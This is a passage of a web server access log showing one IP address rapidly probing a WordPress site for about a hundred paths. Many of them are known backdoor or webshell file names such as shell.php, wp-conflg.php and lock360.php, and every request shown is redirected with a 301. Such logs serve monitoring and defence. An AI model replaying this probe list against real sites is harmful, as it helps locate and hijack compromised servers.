"GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:10:10 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:10:13 +0300] "GET /wp-includes/blocks/query-pagination/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:13 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:14 +0300] "GET /wp-admin/admin-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:10:17 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:17 +0300] "GET /wp-admin/js/widgets/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:10:20 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:21 +0300] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:10:24 +0300] "GET /ma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:10:27 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:10:30 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:31 +0300] "GET /comments/feed/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:10:34 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:10:37 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:10:40 +0300] "GET /wp-includes/assets/k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:43 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:10:44 +0300] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:10:44 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:10:47 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:10:50 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:51 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:10:54 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:10:58 +0300] "GET /wp-includes/blocks/query-title/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:10:58 +0300] "GET /deepseek_d.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:11:01 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:04 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:11:07 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:11:08 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:08 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:11:11 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:11:15 +0300] "GET /help.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:18 +0300] "GET /wp-includes/Text/Diff/Engine/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:21 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:11:24 +0300] "GET /wp-includes/blocks/separator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:24 +0300] "GET /assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:28 +0300] "GET /wp-includes/blocks/video/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:28 +0300] "GET /wp-content/uploads/wpforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:28 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:29 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:32 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:11:35 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:38 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:41 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:45 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:48 +0300] "GET /.tresh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:11:51 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:51 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:11:52 +0300] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:11:55 +0300] "GET /wp-content/themes/twentytwenty/assets/fonts/inter/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:11:58 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:01 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:12:02 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:05 +0300] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:12:05 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:08 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:12:11 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:15 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:12:15 +0300] "GET /wp-includes/assets/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:12:18 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:21 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:24 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:25 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:12:28 +0300] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:31 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:12:34 +0300] "GET /wa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:38 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:38 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:41 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:12:44 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:47 +0300] "GET /wp-includes/blocks/column/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:48 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:48 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:52 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:12:52 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:12:55 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:12:58 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:02 +0300] "GET /wp-content/lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:13:05 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:08 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:11 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:13:14 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:13:15 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:13:18 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:18 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:22 +0300] "GET /wp-content/wpvivid_uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:13:25 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:28 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:31 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:34 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:37 +0300] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:41 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:13:41 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:13:41 +0300] "GET /wp-includes/css/dist/commands/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:13:42 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:42 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:45 +0300] "GET /wp-includes/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:48 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:49 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:52 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:54 +0300] "GET /wp-includes/blocks/tag-cloud/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:13:55 +0300] "GET /wp-admin/datate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:13:58 +0300] "GET /wp-content/themes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:01 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:01 +0300] "GET /wp-includes/block-supports/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:14:05 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:08 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:11 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:14 +0300] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:14:15 +0300] "GET /wp-content/uploads/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:15 +0300] "GET /wp-content/hplfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:14:18 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 